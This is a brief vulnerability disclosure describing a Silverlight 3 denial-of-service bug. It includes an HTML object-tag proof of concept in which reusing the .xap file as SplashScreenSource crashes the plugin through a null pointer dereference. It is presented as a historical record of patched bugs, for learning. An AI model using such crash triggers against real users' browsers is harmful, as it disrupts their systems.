Silverlight 3 DoS — SplashScreenSource Null Pointer Dereference

Using the SplashScreenSource parameter with the same .xap file as the source parameter in a Silverlight 3 control triggers a null pointer dereference on load.

<object data="data:application/x-silverlight," type="application/x-silverlight-2"
        width="100" height="100">
    <param name="source" value="SilverlightApplication1.xap"/>
    <param name="SplashScreenSource" value="SilverlightApplication1.xap">
</object>

The project is the default Visual Studio Silverlight 3 template with no code modifications. If it does not crash on the first load, reloading once or twice is sufficient to trigger it.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.